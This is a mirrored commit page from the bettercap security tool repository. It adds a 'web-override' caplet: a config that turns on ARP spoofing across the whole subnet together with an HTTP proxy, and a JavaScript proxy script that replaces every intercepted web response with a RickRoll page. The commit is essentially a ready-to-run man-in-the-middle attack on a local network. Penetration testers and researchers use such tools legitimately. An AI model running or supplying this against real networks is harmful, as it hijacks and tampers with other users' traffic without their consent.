mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 10:46:57 -07:00
new: web-override caplet and proxy module
This commit is contained in:
parent
31de46c14c
commit
74867aaae4
3 changed files with 42 additions and 0 deletions
15
caplets/web-override.cap
Normal file
15
caplets/web-override.cap
Normal file
|
@ -0,0 +1,15 @@
|
|||
# targeting the whole subnet by default, to make it selective:
|
||||
#
|
||||
# sudo ./bettercap-ng -caplet caplets/web-override.cap -eval "set arp.spoof.targets 192.168.1.64"
|
||||
|
||||
set http.proxy.script caplets/web-override.js
|
||||
net.recon on
|
||||
http.proxy on
|
||||
arp.spoof on
|
||||
events.clear
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
17
caplets/web-override.html
Normal file
17
caplets/web-override.html
Normal file
|
@ -0,0 +1,17 @@
|
|||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>You've just been RickRoll'd</title>
|
||||
<meta name="description" content="You've just been RickRoll'd">
|
||||
<meta name="author" content="bettercap-ng">
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
|
||||
<![endif]-->
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<iframe width="100%" height="768" src="https://www.youtube.com/embed/oHg5SJYRHA0?controls=0" frameborder="0" allow="autoplay" allowfullscreen></iframe>
|
||||
|
||||
</body>
|
||||
</html>
|
10
caplets/web-override.js
Normal file
10
caplets/web-override.js
Normal file
|
@ -0,0 +1,10 @@
|
|||
// Called before every request is executed, just override the response with
|
||||
// our own html web page.
|
||||
function onRequest(req, res) {
|
||||
res.Status = 200;
|
||||
res.ContentType = "text/html";
|
||||
res.Headers = "Connection: close";
|
||||
res.Body = readFile("caplets/web-override.html");
|
||||
|
||||
res.Updated();
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue